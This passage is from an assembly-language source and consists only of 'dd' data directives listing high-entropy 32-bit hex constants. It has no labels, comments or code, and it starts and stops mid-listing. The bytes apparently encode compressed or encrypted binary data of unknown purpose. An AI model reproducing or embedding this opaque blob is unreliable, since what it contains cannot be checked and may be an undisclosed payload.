68870B30h, 70ABA62Ah, 57785262h, 0EE206600h, 0E1C1AC34h dd 95E050h, 521D8EC6h, 4336E709h, 3CC4A600h, 9CC888ABh dd 0A484CC3h, 7254D003h, 0F5A02451h, 0E500A6E0h, 92AF330h dd 0CE0B04h, 0F91D67BCh, 23771A53h, 3A45D07h, 2ADA663h dd 0A18430h, 103CB16Fh, 6C8A71BCh, 0E2EF3A00h, 1AA6CB32h dd 0BADB0075h, 361920A3h, 0A2137B4Fh, 8500BCBBh, 0CF76543Dh dd 0CE6D0FA0h, 0C05E0937h, 985B71FFh, 0E7121381h, 2041A416h dd 0D3A806EAh, 0F51E7880h, 2DD2EB9Dh, 4AB544A0h, 67E341F7h dd 18983CA9h, 0AB212F12h, 0F14900FDh, 3D4ACDA1h, 801814D0h dd 26389F9Bh, 28FD606Dh, 0DE96612Ah, 0FAE640C0h, 506A780Eh dd 0CB42409h, 2B02F261h, 0E06E220h, 9F9D292Ah, 0A1EA0558h dd 45BEBDCh, 0A13CA94Ch, 12E8E048h, 3A550F3Eh, 0E95A1C0Ah dd 0EE02D80h, 0FA1470h, 30C78DB8h, 0A48C3DD7h, 6DA8681Fh dd 0EA158E00h, 767DC9h, 0CF22DA52h, 426BC61Dh, 2618957Fh dd 0CA7197BEh, 2BAF077Eh, 8168A6F0h, 8B677D23h, 41438681h dd 79D03F30h, 24150830h, 381667Ch, 57E0ECA7h, 0E4ED1180h dd 9EE7AAD7h, 18387B83h, 11FA83C3h, 0CD0CD325h, 81211A7Dh dd 28C90CC0h, 0AA11FEBEh, 0B457BB03h, 176E01ADh, 0A2E8758h dd 0BCB8FF8Dh, 0AC32007Ch, 2CA0793Ch, 9A00E369h, 2B3F330Eh dd 0E870F9BFh, 81A60030h, 0A93EC99Bh, 0A160EC1Bh, 1961E510h dd 4FA03D38h, 1D6AC50h, 0FAFB6285h, 4627ABD7h, 0A4206084h dd 78BEF853h, 81F0301Fh, 0F1510610h, 7E6AB65Ch, 273CE17Fh dd 60551FA5h, 35C0B703h, 6EBDE1EBh, 0BEF51441h, 5DA29F0h dd 21AF262Ah, 63BC0411h, 0F9D4E2Ch, 39A1BEDh, 738D2AA8h dd 3012B7F5h, 3840FA8Eh, 0FF577CA1h, 1203711Fh, 24EEF84h dd 11EE134Ch, 0BC3427E0h, 596E21C0h, 533969F2h, 2084208Dh dd 0C7C16449h, 99BC47DAh, 0F399F00h, 4E587DAAh, 0A8A280A3h dd 26E7A898h, 28A3B019h, 6422BD30h, 0A8B161Ch, 40E44163h dd 0C9D13F9Dh, 0AB377C00h, 0BFBB3B45h, 33720034h, 0B626CCF5h dd 9D3CED21h, 0CB8266Ah, 0A7689800h, 0BB167Dh, 0FAD8016Fh dd 0B0E1DBC8h, 0ED347105h, 0C285F99Fh, 3E6B3040h, 0AD5A28h dd 461DE3ACh, 57210942h, 6120D400h, 7226B60Ch, 0BDA00744h dd 1B2A94Ah, 830737FBh, 0F85CA4C0h, 0AAE80F64h, 7C20D6D5h dd 3200E7Fh, 39A59B05h, 0F3800163h, 5220869h, 1A442916h dd 0C0884924h, 0E1B88C21h, 0EF4D1069h, 0E3570167h, 0EEFD0EEAh dd 790898DAh, 0F72B21h, 22092167h, 83FFA066h, 30A8FB57h dd 0E0CA09AAh, 4239C07Bh, 9CAC6139h, 72715E71h, 0B71C7800h dd 80356F0Dh, 0B9470091h, 76963C69h, 200E5BAAh, 95365763h dd 63B39B4h, 2921F7C6h, 0C4BD4828h, 33B98D80h, 2DEEEED9h dd 9111F300h, 9F2E3FA9h, 0A1CF3B68h, 0A61423CCh, 5103D057h dd 2BFA92DDh, 371E6022h, 0E051F7BEh, 3A88E012h, 0FC8A7D00h dd 0E6C4A0BAh, 0AEECE99Eh, 37400B67h, 2442AAB4h, 4805948Eh dd 78841AF6h, 42F8FC81h, 990434FEh, 0B66A1100h, 2EFB1280h dd 3045B078h, 0BE41962Fh, 0D2796839h, 0C136E60Fh, 0A2108017h dd 90A53034h, 0A7040580h, 406A8223h, 606607A8h, 0AA500508h dd 0BD303BE4h, 570AC12Eh, 0A1F03BA9h, 92761CC8h, 21F56320h dd 91D86FE8h, 63A1542h, 7A60800Dh, 0E9AA6A4Fh, 5092A6h dd 0B015A73Dh, 9726CBCEh, 9DDD2701h, 0D15482ECh, 60B79092h dd 5667F01Ch, 0D42E310h, 2C8073C8h, 0F0D767F8h, 26A600A2h dd 80CB11E7h, 0C8928FCFh, 4247EE0h, 2CA8DC4Ah, 0F8237D24h dd 42E1109h, 64801338h, 48C6A765h, 187F70F9h, 401FDBAFh dd 7C2523E5h, 86A0827Eh, 596484A1h, 0C3155180h, 0C43C01FEh dd 0BE370DA0h, 66885022h, 900F36F4h, 0A521877Fh, 0CC410241h dd 6B8256CDh, 1F75F8h dd 460B59BEh, 0C00E69AFh, 144180F3h, 0BE233176h, 426202A1h dd 1B7DB40Fh, 0C97578FAh, 1A08722h, 0AFF01206h, 0D4470D40h dd 0F8738FDAh, 0C8F12F32h, 800CC044h, 60E8A432h, 753E30AAh dd 104C38C6h, 0B5861830h, 1715B51h, 887E72ECh, 0F4EDF469h dd 0A12515Eh, 0FC0484B4h, 7C82703Eh, 806C8F42h, 9D7D868h dd 0AF870BAAh, 3003EB71h, 0CFAA6195h, 18F66041h, 0B0681333h dd 2F520980h, 10976011h, 683BB8h, 2DFC6221h, 26E3379Fh dd 4E21712h, 0C0385048h, 0A045A95Ah, 0EF227546h, 8072EB3Dh dd 80DA8903h, 25E3BE7h, 0E12940F7h, 8800A57Ah, 1367E16h dd 89D3935Ch, 0FCEE339Fh, 0CD00CB12h, 6D6968DDh, 982808EFh dd 1E7F7602h, 0F07FEC0h, 34D31832h, 65A44058h, 0B3836FB9h dd 985911C0h, 72916330h, 667007E3h, 4993C3DFh, 5AD4EC80h dd 33022595h, 169B2EFh, 867840DBh, 0FE41C0B6h, 1DAF9DF7h dd 91E66C00h, 24530C01h, 0E1B10299h, 80292207h, 0D407A4A9h dd 210C76Dh, 7C487484h, 90264C29h, 0FD06009Ch, 26684520h dd 0DE307E6Dh, 0BBA33200h, 17F02837h, 26CD1615h, 0EB1440BCh dd 0EC3F72C7h, 0AF67CC03h, 97EAAAE7h, 4283D43h, 887C1ED0h dd 71D08061h, 0AC2C2BE3h, 7A0924AEh, 1FC88459h, 0C1801649h dd 85B1CF6Ah, 8C02797Bh, 7EFA4334h, 3DB8A16Ch, 4C64C9F0h dd 0F290966h, 8826E21h, 4602F75Bh, 0B950C9BFh, 6708EE18h dd 0C4F2E370h, 0F62E4075h, 0B0A7467h, 0D44C7B76h, 5624AF01h dd 3EEC29BDh, 0A7C60041h, 5526DFFBh, 61DD0092h, 96637243h dd 5B1212AEh, 4959A86h, 0B3EBE441h, 0A6E5E469h, 0E1425824h dd 4074B050h, 7E560134h, 0D17FD647h, 531C2008h, 59F41150h dd 49217D30h, 6E94FA5h, 58AA2D3Ah, 3D16C1E3h, 282141F7h dd 44F4EE07h, 0B45201C0h, 25D363D9h, 0ED586035h, 9C4C010Bh dd 0B0F40A13h, 0D340A900h, 0B1C45EECh, 39681114h, 0A2249644h dd 0E6FEF845h, 0AB88C2h, 0A49227C2h, 0B0637100h, 5A781167h dd 0D6A11709h, 24B20070h, 0A48B7ED0h, 55A66804h, 8063B8h dd 0F7A022Eh, 39A327B9h, 0FE1434A2h, 76715440h, 0CC20FA4Ah dd 265FEAD6h, 98D0373Fh, 2580192Eh, 0A0882754h, 3B36ED01h dd 0E083F6A6h, 6E84E428h, 578B486h, 123EB005h, 0D882B520h dd 0B9DCC926h, 0B7E82180h, 23C00B3Eh, 0B16759C0h, 587998h dd 0C275F502h, 166E7D8Eh, 12E4FF3Ah, 2E0752FAh, 0A81A349Fh dd 25BE3686h, 0E9370041h, 0FC7FD17Dh, 1200E507h, 6CB24F79h dd 0CCFD277Ch, 73A82DF0h, 3EB5048Ch, 629D2011h, 0BCDB20ACh dd 0C30EDC3Eh, 0E1EE9CD3h, 0AEE261AAh, 0A03960DCh, 34E784h dd 719D2D26h, 1722B17h, 2012CF2h, 4C139B65h, 8082A06Ch dd 0CEFC63E7h, 2C9FE880h, 18DFAF8Ch, 61DF1C54h, 377CA118h dd 0A8D00014h, 0DDD564E8h, 0BEF96614h, 0B2898098h, 12613ECh dd 0A9AFE06Fh, 0CA90DB1Eh, 0BC037C50h, 7C1FF95Bh, 38B4AC5Ch dd 0E4D4A540h, 7F2860B1h, 88E901DDh, 0B4A00AA7h, 0C072BFh dd 0AAE8E393h, 1C9F451h, 902F8DB6h, 0E0C8FCE7h, 2D1DA5FAh dd 0A8DA2A82h, 68C160E0h, 3260D58h, 0E069B787h, 0A003B57h dd 763D8259h, 934A14h, 8F6C715Ah, 0F851C303h, 0E024A09Ah dd 0AB804C65h, 40CDF307h, 0FA5B01C5h, 0F455FF89h, 26F0874Ch dd 0FC0B5ACh, 94F6702h, 0E1D0860Ch, 0F342906Fh, 1AA811B8h dd 78420D0h, 48516149h, 7022C2D0h, 0FAE43026h, 0E06920A0h dd 0F4C45Dh, 8DCB543Ch, 974815h, 0C1EE125Ch, 0CE3E428Bh dd 5A2E20F0h, 3D1DE0CCh, 0E0215E03h, 5535C0E4h, 1A8A0797h dd 406092DCh, 761E7A7h, 6AC64A00h, 722AF937h, 0E5550003h dd 0C33C0960h, 0ED00078Eh, 40198FCDh, 576E8B9Ah, 0BD0738ECh dd 8E9B401Ch, 0C0A81894h, 589D08C7h, 3DB04A86h, 8D924D2Ah dd 6950013Dh, 0E7CE561Ch, 8FBAA5B8h, 1E4A1D3Ah, 0ED003A6Ch dd 0E04B0391h, 0DA6E306Bh, 6DBDF6D1h, 9A6AF9F0h, 4A32C39h dd 6A3341E2h, 0E35FC0C0h, 0A44E84h, 0B3E0D0D4h, 0FF0A692Ch dd 0D8448E1Bh, 0E061BA09h, 186D79A4h, 184BE02Bh, 8BF0B0C0h dd 0F808D450h, 0A50788B0h, 2493BC7Ch, 5CA43E71h, 0F7FA2C40h dd 0F444F7A7h, 84DB0C61h, 733716EAh, 0A0D130FFh, 59A42F7Ch dd 79D01920h, 89E8E4BAh, 0C2F541C4h, 31AA9C93h, 3F19DF40h dd 0E328902Dh, 8FDC085h, 0E4777258h, 7DF23B8Ah, 0EADF91Dh dd 834AEB0h, 6E3C44BAh, 0E97CB4h, 673BD026h, 0E0282802h dd 67A9E365h, 0F2F9DC98h, 817D2321h, 2EE4E424h, 819CCC83h dd 1E3F3EA7h, 63EAD02Eh, 0AA2A0CA0h, 53439F1h, 455C7420h dd 0A97E1481h, 0ACFE1A82h, 0C8B5429h, 26087C0Fh, 58149F8Ah dd 0B169ED07h, 0E86474FEh, 0F3E8855h, 0B4AC2015h, 0E5BC418Ch dd 0B8081485h, 0E8A34BC9h, 2A652A25h, 0A4840419h, 5BF2F836h dd 0CD604C2Dh, 48986959h, 0F213D044h, 2014306Ch, 0FC5463C0h dd 228C6452h, 45E48DB2h, 0E3768146h, 647C321Bh, 90265398h dd 6271E42h, 26EDF806h, 8719C061h, 884C326Ah, 0C3E0DF69h dd 0FB1C02F9h, 0FABA590Ah, 424E94D7h, 8960F87Ch, 84E8BAE0h dd 704A820Ch, 9928E680h, 380C7153h, 0F8C50C0h, 4C96A2Ch dd 0B8FD1955h, 0E08A09D4h, 10F4293Fh, 4C138203h, 2B712054h dd 6092CA28h, 48B0343Ah, 0A1A5C828h, 99BC4680h, 0E4270C8Ch dd 0A9CC8244h, 0F10C6746h, 28830A47h, 8CA43454h, 148A25A8h dd 99EC6880h, 0C764C20Ch, 9CADB8F0h, 0A21EC551h, 385A1AA5h dd 0A990A0AFh, 0B5AEA6B0h, 1492AAE4h, 58D84253h, 0E4BE8674h dd 8850AF61h, 1FF8848Dh, 297E1939h, 4D6B51FAh, 2D81BEA8h dd 5CA02586h, 0E0D5D835h, 0A901586Ch, 2C33674Ch, 444652FCh dd 845F11BBh, 0BCEC40BEh, 6F104660h, 1F8F9E06h, 4DA5DFDDh dd 41187364h, 1217F78h, 0CC48AC1Eh, 0DBE82C43h, 0C2F7808Ch dd 7B136EDCh, 0F1F370C7h, 672088C8h, 0DB449C20h, 83CA65Bh dd 0D43AF90Ch, 3CE828F2h, 4D7ECDE0h, 0D82A8F71h, 6B083C8Eh dd 0F1ADFC36h, 0E1985258h, 86806C56h, 70BE3CB3h, 120A7E4Fh dd 450D1A7Dh, 40A742A4h, 2DC596C8h, 6B04D6E0h, 0E90A2968h dd 0F200FCE2h, 7CD8605h, 9A7E364Fh, 80C80B3Ch, 0F11137EAh dd 4CB926AFh, 4133027h, 0E65404A7h, 62035CA6h, 0C844726Fh dd 5BB481B5h, 0E13C46ADh, 0FA00A97Ch, 0D474330Ch, 0E9A34DBh dd 6CBE480Ah, 771565A0h, 0AA07E1B5h, 0A9EF27E3h, 1339B3F0h dd 28080703h, 401CFF47h, 0C4F38D12h, 0EC11ED0Fh, 1D94ED5h dd 9F5223AFh, 0A93AA0EFh, 0A62D0B35h, 304B207Dh, 220EF3F0h dd 800C6738h, 29E14028h, 78E5BBh, 502505BEh, 0DD682662h dd 7EE119C6h, 9ED000B9h, 52F3C8E6h, 4498928Dh, 0DE50EC07h dd 3E903C66h, 24A88Fh, 71B0B4FBh, 339DCFEBh, 7CFA80A0h dd 0D4941C51h, 773A8F08h, 0B94E00EAh, 4FF2F5Eh, 568A1EE9h dd 3E864701h, 5382C0F3h, 49F0E630h, 0BE00C3E0h, 0C2B8C8A1h dd 14B90643h, 140748BDh, 41C157A3h, 0F33080BCh, 0BA324287h dd 805570C2h, 0E7790146h, 0A563Eh, 0A7BB0384h, 60333D86h dd 0E50690E9h, 18DD04B6h, 0EF0A4900h, 3A363F88h, 806C90E9h dd 0B3E80B28h, 0F30EEA1Dh, 0E8355403h, 42780CB6h, 45313AC3h dd 59EA3037h, 0B5F1BC83h, 0E3B20C21h, 0E6108457h, 0E5684h dd 3542BDEEh, 0C4586B8h, 0A1B9E718h, 764B229h, 0E98A1030h dd 5F9F8158h, 1F498F8Bh dd 0ACDEFA5h, 78001841h, 9E479861h, 879F00E1h, 14204DE7h dd 7A39F536h, 991A000Eh, 8BE58832h, 6EB7135Eh, 0E74307D8h dd 0E391C058h, 6A1DDF4Dh, 0A2469E3Ah, 1718366h, 4914FF9Fh dd 6CA48Eh, 0E8FA2132h, 91351862h, 0DE202863h, 0E8A17202h dd 3B659DAh, 0A128D108h, 0B9451832h, 0C84F9ECCh, 8475F68h dd 19F731FCh, 1833438Dh, 0D9598FDDh, 92101124h, 0E5C91EE4h dd 104402Ah, 0B411DAD4h, 0C1F2AF04h, 8CB8A4F4h, 817AC959h dd 31A8A48Bh, 8311E65h, 1D598186h, 0A1F4BD70h, 60443F30h dd 2D2620B3h, 5D2828B1h, 3521D0B7h, 0DF629088h, 7381E191h dd 8CBF2869h, 0B96F0731h, 687E30B3h, 0C9ECE369h, 4160710Ah dd 5E18A4B2h, 2839EA41h, 6EDCA454h, 0E0E3F1BAh, 317BD6F4h dd 185C4F31h, 4C4131E4h, 584030A6h, 60A387E3h, 6177919Eh dd 18905908h, 23B983FFh, 1D3189DDh, 0B22B8B31h, 4CA26318h dd 58887833h, 91EE98E8h, 2024D8A0h, 301528FEh, 21E605D4h dd 0A421DE70h, 0DD0AB4B0h, 8DB74A4h, 9B2530B8h, 0C7086951h dd 0EBB23042h, 0ECB4891Bh, 8928DC0Ch, 7F42281Bh, 218444B8h dd 0C4F82F57h, 421085B7h, 0FC904F8Fh, 88CB428Ch, 6A274448h dd 0A29E6C10h, 4FDF117Eh, 0FC048278h, 9AD39E7h, 8289FCAh dd 5651FFB8h, 428DAF08h, 7890CAE0h, 5C99B608h, 6C443A13h dd 2152845Fh, 833CD98Ch, 7C52E631h, 0B21065Ch, 619DBE0Ah dd 84A18C90h, 0AB20D666h, 34921CE8h, 20583196h, 0DE2BF80Ch dd 37BC694Dh, 5C106127h, 54F1D9D3h, 26DA08B3h, 0C28CA150h dd 0D0669CA3h, 38627E14h, 50722874h, 8DBC654Ch, 9BF009F8h dd 0A38E18A2h, 0AFFB11A0h, 0A0F50429h, 98EC293Ah, 0F0263492h dd 76900141h, 0A1094567h, 200300E5h, 3FB907BDh, 204FEA0Ah dd 58B3E434h, 0F4E7993Eh, 0B7400400h, 83D530FFh, 0A1EE0E9Bh dd 7E003E90h, 0B83348B6h, 1454F07h, 3730B3BDh, 7C4688E5h dd 0D83DE899h, 0C3401128h, 0BC00457Ch, 0BF073C84h, 736484Fh dd 50183B8h, 0C25487D5h, 38E1B3E7h, 34F1E0ECh, 438AEE02h dd 0C67A4104h, 7D048DD4h, 0ED140E60h, 5B49084h, 314779F3h dd 65182CB9h, 5B84249h, 0A6203A01h, 0E64084C7h, 0F4870EC1h dd 0D06C9433h, 0D49A5A02h, 51CCE10Bh, 0FE288EECh, 20A04D01h dd 2631E570h, 2A0BFCh, 63277B03h, 325EBC38h, 61C7B22Eh dd 0BD2803Ch, 6ABBB62Fh, 60B894C3h, 86D87A3h, 0B3EBE003h dd 7D5E5C71h, 0A0A41818h, 0AA6F70F2h, 4080D8B8h, 0E630B93Ch dd 0B385D9AFh, 1808DE0Dh, 0CFA3F90Bh, 3567C0C2h, 0D07CA002h dd 11BF71E6h, 0B031FF17h, 60B53069h, 21DC10FAh, 78B03167h dd 499A68C1h, 2A0196A9h, 1D6101D3h, 819EF898h, 0C018286Eh dd 3940E92Ch, 5BF800BCh, 0DD4DB8B7h, 0F365E021h, 0C4C87B78h dd 79102B57h, 2C7A828Ch, 603CEFE8h, 149F80CAh, 0BA16AC20h dd 5C40075Eh, 1D600A2Fh, 0E11C095Ah, 0C202D65h, 0C58D77DEh dd 0B9116D02h, 5A5195A0h, 5AE3282Ch, 0B0325048h, 28304916h dd 64159E89h, 0F592EE6h, 0E82B5260h, 0AE9DF380h, 0B503F77Ch dd 0E5512127h, 1B69002h, 0C2EC240Bh, 7CBC1C56h, 1678B370h dd 0C4501253h, 0C054C778h, 0E6A29A99h, 0C33841E6h, 5C0A7055h dd 447AEDA0h, 0D05AD161h, 2B9174F8h, 7046146h, 0C5547238h dd 10C3475h, 5688D308h, 0A65D0801h, 64A22C30h, 0C05CB78h dd 0AF8863B6h, 0A08A1029h, 1EE424D2h, 0AE0E30B0h, 34F047D0h dd 4C0F211Ah, 0A3301552h, 96213A02h, 999C8843h, 0D24C8108h dd 0E1083332h, 7051A15Fh, 10937B1Eh, 829C6F8Eh, 0B04B1EDFh dd 0F14F99C4h, 50008C4Dh, 68E266A2h, 19182826h, 12B309B4h dd 48B524B6h, 22B791B8h, 9CA9449Ah, 9E129B89h, 0A0489D24h dd 0A2229F91h, 89A4D144h, 0E0A613A3h, 3119786h, 0E793C7D5h dd 0C1199AD2h, 63B8265Dh, 0B729844Bh, 0AE8A7504h, 761408BAh dd 7F0300BCh, 5C4EB22Ah, 0BAE21F30h, 0E451005Fh, 0CBFBCE5Dh dd 0A1415E00h, 0B4B87F08h, 0B05C3A3Eh, 0A83C663Ah, 40646E3Ch dd 0C2250436h, 5DE5F100h, 0EB01FBD7h, 0BAB4BE5Eh, 48294AEDh dd 40FFDAFh, 2325ABFEh, 0B63F14C6h, 0CB13829Fh, 22271971h dd 38955D63h, 4384E860h, 0ADCE4429h, 0D346910Ch, 8AB309ACh dd 5F041808h, 803E77D5h, 5564D007h, 73E24328h, 0B9383057h dd 301ABB21h, 765838A5h, 0AA9F0061h, 0D75F77EFh, 3630A15Bh dd 7B871859h, 5EEFAA6h, 6EA5B45Dh, 0DE1C0058h, 2B0592F0h dd 7E20770Ah, 574E2823h, 92C1E4A9h, 8C9C26F5h, 312A6641h dd 35F0000Bh, 52DCE56Fh, 8C00A45Ah, 10418BC0h, 8213Bh dd 0BDA39F36h, 0D50BE3A1h, 20E7E131h, 0C980BA2Fh, 0CC641601h dd 7A06A9B8h, 5965D7C8h, 0B65E0030h, 48D3B19Ch, 85003BF5h dd 81D02F13h, 764381Eh, 93C4BCC2h, 843410A1h, 3500D7DAh dd 0DBE6FAB6h, 30DCE23Bh, 2170DFCDh, 0AE001DA6h, 9672F43Fh dd 0E4E83h, 286DB024h, 58ECB829h, 0DB2CA100h, 0A8C2B12Eh dd 0EE20392h, 9E7CD9F6h, 5AB0200Ch, 86E19ACh, 0E7FE90E0h dd 0E2AB20Fh, 0D9D38232h, 0D421FFB1h, 0D493FC28h, 0C6C0B0B7h dd 8E4013B8h, 537F81h, 0B4F876BBh, 2E1E2B8Dh, 360027F0h dd 1786B674h, 98A787h, 85539335h, 51566A2Ah, 0B0830A00h dd 5F902F96h, 8C08004Dh, 7A1EB784h, 9FA135A4h, 8F63D0B0h dd 6A24A607h, 804FC32Eh, 3233A354h, 6B40C07Ch, 3E515D79h dd 29AA6F3Ah, 2403403Ch, 0DC7C37h, 84E1E710h, 33B0922Fh dd 29304CF1h, 4AA86905h, 1C309338h, 4059A356h, 6E07B735h dd 3733A77Dh, 6032A545h, 2A8C8FE1h, 4DC04E2h, 0A493374Bh dd 50B58759h, 567F3999h, 320018AEh, 3C98B090h, 2724979h dd 1D56B426h, 2CB02E38h, 47E3365Bh, 0D0F840C4h, 4E0A7CE1h dd 384AB5B4h, 6247B760h, 157C01E7h, 0A265A92h, 47144A7Bh dd 0B62E0040h, 0C262FC7Bh, 7460F84Bh, 7D4D14A4h, 7502F853h dd 0BA24F056h, 4689495h, 4B97F0F5h, 84BD5900h, 2A917017h dd 0F12E0046h, 4C794D37h, 93266533h, 620434A8h, 0D735ADh dd 0F0803847h, 7AD32937h, 989256h, 9FA53DEFh, 538A4E73h dd 40634D26h, 2870331Dh, 1379F4B8h, 256236B5h, 7B6C0F20h dd 32DC9023h, 3D500864h, 3296748Ch, 2991FC75h, 485B446h dd 86BA627Fh, 5A743040h, 63C93405h, 90922431h, 24404CD7h dd 0E5837E7h, 8FA32501h, 0B4CB515Fh, 313E89C1h, 0D2F420D0h dd 0A314EF0h, 83394092h, 1C9C030h, 6699D97Ah, 0B0274CCEh dd 93641008h, 0F36D24FBh, 3B2000B0h, 3734568Fh, 275D871Dh dd 0D809B51Eh, 59A0013Ah, 108C7A32h, 34607666h, 6AC8F48h dd 4D5DCE65h, 35011888h, 6BD84031h, 1B607D3Ah, 0EF3091F3h dd 344ADC81h, 90C92700h, 0A1C76078h, 31C03821h, 0B753C36h dd 0B43E2553h, 41F181Ah, 40F82955h, 3B51317Dh, 0D4B9CE78h dd 497CFB81h, 6066C924h, 5BCA0076h, 0CE364EA3h, 37492156h dd 1870D2B8h, 908A6132h, 1C3B4CF0h, 7A3ACC58h, 93394C00h dd 7808D7A7h, 7DF89AF8h, 7C205D2Ch, 37291E3Ch, 0AC4E21Dh dd 0C08FE774h, 0EBF895AFh, 824B605h, 16C4817Ch, 3B21F074h dd 0C4E49359h, 0CD8A6CEh, 0FC98B060h, 3AAD7C7Eh, 0D8489366h dd 0C6288C37h, 0C49A2079h, 3108354Ch, 275609A4h, 0E44AC461h dd 3869DC4Ch, 0C8A8C0A0h, 20B86521h, 833C5213h, 6936100Ch dd 3A7D7C66h, 562E3D28h dd 384B4220h, 3C902C96h, 79C9EFF9h, 34D8A45Dh, 402EF21Fh dd 7E09D802h, 0E63CE3A8h, 80FB62B0h, 18922F96h, 8AA55040h dd 46A0B752h, 63FCEF04h, 4E99B50Bh, 484645Dh, 0ADA6648Ah dd 7C3C39B7h, 0AAF11842h, 5DC86027h, 9364310Bh, 0D85047A7h dd 9605B05Ah, 245D8332h, 87A7D880h, 564B838h, 0E2933D4Dh dd 0CC405625h, 50A084F8h, 9101E7C9h, 5673CA80h, 20703C36h dd 8F310134h, 93C924A5h, 2443C49h, 7D3233A6h, 0E978E4A7h dd 0E1C1D468h, 0E47A2F83h, 8F036359h, 7B3B2753h, 5C65C1B0h dd 2E328C70h, 0E70A387h, 1BCE84CEh, 9C94908Fh, 65065058h dd 204CDC76h, 66EFB01Fh, 8426A4CFh, 50F45A8Fh, 0C1C89625h dd 857E12B8h, 87691868h, 803AE0C7h, 0BB343714h, 0EC856E25h dd 4250F766h, 5F92F834h, 1190285Ah, 23A78714h, 7A0100F0h dd 85E46F1Ah, 5A900138h, 0D9A5C936h, 26218021h, 25537A61h dd 0DC830408h, 0E1CE3B4Bh, 0E0D9D230h, 8E7299Eh, 106A3880h dd 3979F5Fh, 18345387h, 89FAE87Ch, 60C728D7h, 42900F42h dd 52DC011Ch, 0A0683220h, 5DA62F01h, 0D08A0A36h, 744E3C4Dh dd 0E071B817h, 0C441852Eh, 18A2E469h, 0CE1F278Ch, 0DC8CF830h dd 39354A3Eh, 88C5FC91h, 0DC143836h, 3169068Ch, 7840654Ah dd 0A6403C4Ch, 5920813h, 5ECA04h, 0B07A0A80h, 9B67D08Bh dd 0F08A3B20h, 3360CE98h, 33A15F7Dh, 280DB4DCh, 18AFCE3Eh dd 7932C811h, 5814D844h, 0C4ABC4DCh, 308260B5h, 0CA8C4C90h dd 0A402D4D1h, 41923927h, 0F44D0A44h, 0D2936429h, 204283F0h dd 9A0E3070h, 0EFDC5CCAh, 4BA48065h, 50A35BC9h, 6BA7F026h dd 18978824h, 47FE0F7h, 0C1392E31h, 80CD9Fh, 7C068BB3h dd 0EED925Bh, 0F06A93C4h, 1421309Ch, 0BFEC0663h, 0F6ED5400h dd 4F1FADDCh, 20330052h, 0DBACD175h, 0CDFC1AB8h, 7C0269C1h dd 1CCC8EE9h, 44AA1FF5h, 0C77AFA84h, 6F92C321h, 0BFCE0F20h dd 0F97B7C10h, 0C2FEAF00h, 0B8DE6E51h, 728A418h, 7C58E852h dd 0F264B82Ch, 0E9888540h, 0EF0C7DE3h, 19FF0F83h, 153D0093h dd 8931ADB4h, 50065B4Fh, 0C4176BA8h, 35E107B8h, 101829D2h dd 0B8CFB1FCh, 919F5F0Ch, 280C8896h, 384D65Ch, 1BC35641h dd 7898D470h, 9B3979BEh, 629E01CFh, 0D7AE46A9h, 5E2E2180h dd 9591A8Fh, 6D0820A7h, 294DC07Ah, 0C328595Eh, 0D800D82Ah dd 40ACE942h, 66CDCA15h, 21D20939h, 0E91A7800h, 8C06C72Bh dd 30A70F44h, 34245D6h, 0A4A0FF2Eh, 9DC439E2h, 0EAEFD01Ch dd 4B6B2C00h, 7643551Ah, 6FCF30AEh, 0A96D61B0h, 8E5433FCh dd 0D801348Ch, 0EAEEB65Eh, 0A853C53Fh, 37AD8849h, 0EDC204C8h dd 104FB5DAh, 24E09E1Ch, 80202AAFh, 0E7A84B5Ch, 0CA03ACD7h dd 61864214h, 0C608C9B1h, 41F2599Fh, 52F01C22h, 8D04D0A8h dd 5314B14h, 3C85238Ch, 40C1E984h, 25D3626Dh, 5D820083h dd 44AC7E07h, 18D51603h, 9BDDD465h, 9ED00411h, 8AAED212h dd 69998804h, 87ED8C48h, 6C14F400h, 7C3E2DD4h, 401CAC42h dd 30B9A297h, 5B781405h, 0A56AF870h, 9C22E3DEh, 5030FFF2h dd 0F01F0669h, 0C0C55C1Bh, 51F87E1Eh, 8909C0Ah, 18280A07h dd 0A98FA26h, 0C3CB4FEFh, 468701F8h, 20B3A7E9h, 7C122AB8h dd 607247FCh, 0C480DD3h, 0A3498164h, 28D5E27Ch, 0F15AC198h dd 18F00D6Bh, 992866F4h, 0B829A8EAh, 0FC080804h, 7A4712B3h dd 3E541154h, 0A44BF287h, 0EFFA03BBh, 0F3D903D0h, 0DB14828h dd 90F67028h, 0D246FA1Ah, 0CEB98621h, 0F3FB0159h, 0F505329Bh dd 905020A8h, 0E37FA71Ah, 0DC0482A0h, 0AF6422CFh, 0C8C3B482h dd 88EC7B20h, 8038DF19h, 0B8E1969Ah, 0A0303350h, 4948988Dh dd 0B03949FFh, 202804E2h, 7C4CD271h, 9B2E742Fh, 65F00F8h dd 0F0725B80h, 68054486h, 2B0D5700h, 889B8236h, 0AC112850h dd 0E1913CB0h, 78AAB218h, 0A900CF13h, 0DE924306h, 600A3BBDh dd 0AB2B08DFh, 0D200FF12h, 609820DBh, 1F2C6E59h, 0DD1424h dd 0B36BAB92h, 0D800F8AAh, 9C1DD53Dh, 39D1817h, 0CD93D9B1h dd 48A60409h, 686D5F03h, 887FB6B2h, 0E54F7EDEh, 218029D1h dd 696865FDh, 5F004CB3h, 9B963332h, 1897714Dh, 5827C825h dd 7401B08Ah, 0ECBA3AE2h, 8987EB31h, 907C0166h, 6EF75B7Dh dd 8A8E1300h, 9E3DD990h, 6D4311Dh, 88495940h, 0F332450h dd 750F6F05h, 6B103A6Ch, 39D6BB30h, 2AADAB71h, 1840F57h dd 0E520C432h, 4CBF3692h, 5B882E94h, 322000C3h, 50F814C5h dd 0F00CA7C6h, 0AC611A7Bh, 4C3B00B5h, 222A75EBh, 5DEED679h dd 9001FB7Bh, 2598ECDCh, 0E9892F80h, 0CE01593Eh, 87A6FBEDh dd 67C79260h, 41C13FB0h, 24E801B0h, 32F9990Eh, 0B28450F1h dd 513C9543h, 397F8716h, 61A19641h, 0C830CAD8h, 62B600BFh dd 0C5457AC1h, 3803D9A9h, 4F5FAA15h, 8D880139h, 335C25ABh dd 56108C42h, 1E30E111h, 803B97C5h, 7174A567h, 0DA1523A4h dd 80F4DB93h, 0B778686Bh, 227E434Fh, 63BF012Ah, 9226F85Fh dd 817F311Dh, 957DDAF0h, 9080C9DDh, 0E38CD4E8h, 0CF01CAB2h dd 0A2E176A3h, 0CC417F66h, 38E16D94h, 0F2ABE850h, 1CF4A589h dd 33660578h, 0F28C40DEh, 6AD5D0E2h, 9F2FD406h, 6F08FC93h dd 0EA2021E9h, 0C466E4D0h, 19A06A07h, 0E1CD9163h, 686230CAh dd 57B6A911h, 0C2802888h, 0EAB25F5Ah, 0C32C00DAh, 581C4CA9h dd 7360B6BBh, 